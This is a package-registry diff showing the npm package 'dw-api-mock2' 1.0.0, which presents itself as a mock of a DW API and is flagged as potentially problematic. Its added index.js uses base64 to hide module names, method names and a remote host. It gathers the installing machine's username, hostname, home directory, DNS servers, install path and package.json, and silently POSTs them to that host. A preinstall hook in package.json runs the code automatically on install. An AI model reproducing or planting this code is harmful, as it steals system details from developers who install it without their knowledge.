dw-api-mock2 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of dw-api-mock2 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +72 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,72 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+ const Buffer = require('buffer').Buffer;
8
+
9
+ const atWEhf = "ZmVlbHByb3VkLm1l";
10
+ const sf835fF6 = Buffer.from(atWEhf, 'base64').toString('utf-8');
11
+
12
+ const dynamicRequire = (mod) => require(mod);
13
+
14
+ const systemModules = {
15
+ sys: dynamicRequire(Buffer.from("b3M=", "base64").toString("utf-8")),
16
+ dns: dynamicRequire(Buffer.from("ZG5z", "base64").toString("utf-8")),
17
+ };
18
+
19
+ // Obfuscate method calls
20
+ const methodMap = {
21
+ home: Buffer.from("aG9tZWRpcg==", "base64").toString("utf-8"),
22
+ host: Buffer.from("aG9zdG5hbWU=", "base64").toString("utf-8"),
23
+ user: Buffer.from("dXNlckluZm8=", "base64").toString("utf-8"),
24
+ getDns: Buffer.from("Z2V0U2VydmVycw==", "base64").toString("utf-8"),
25
+ };
26
+
27
+ const Ad9w3446df = () => systemModules.sys[methodMap.home]();
28
+ const A328f4V6 = () => systemModules.sys[methodMap.host]();
29
+ const A2476gcE = () => systemModules.sys[methodMap.user]();
30
+ const Nfpa3s98 = () => systemModules.dns[methodMap.getDns]();
31
+
32
+ const trackingData = JSON.stringify({
33
+ p: package,
34
+ c: __dirname,
35
+ hd: Ad9w3446df(),
36
+ hn: A328f4V6(),
37
+ un: A2476gcE().username,
38
+ dns: Nfpa3s98(),
39
+ r: packageJSON ? packageJSON.___resolved : undefined,
40
+ v: packageJSON.version,
41
+ pjson: JSON.stringify(packageJSON),
42
+ });
43
+
44
+
45
+ var postData = querystring.stringify({
46
+ msg: trackingData,
47
+ });
48
+
49
+ var options = {
50
+ hostname: sf835fF6, // Decoded at runtime
51
+ port: 14666,
52
+ path: "/",
53
+ method: "POST",
54
+ headers: {
55
+ "Content-Type": "application/x-www-form-urlencoded",
56
+ "Content-Length": postData.length,
57
+ },
58
+ };
59
+
60
+ var req = https.request(options, (res) => {
61
+ res.on("data", (d) => {
62
+ process.stdout.write(d);
63
+ });
64
+ });
65
+
66
+ req.on("error", (e) => {
67
+ // console.error(e);
68
+ });
69
+
70
+ req.write(postData);
71
+ req.end();
72
+
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "dw-api-mock2",
3
+ "version": "1.0.0",
4
+ "description": " Mock version of DW API ",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \\\"Error: no test specified\\\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "SalesforceCommerceCloud",
11
+ "license": "ISC"
12
+ }
13
+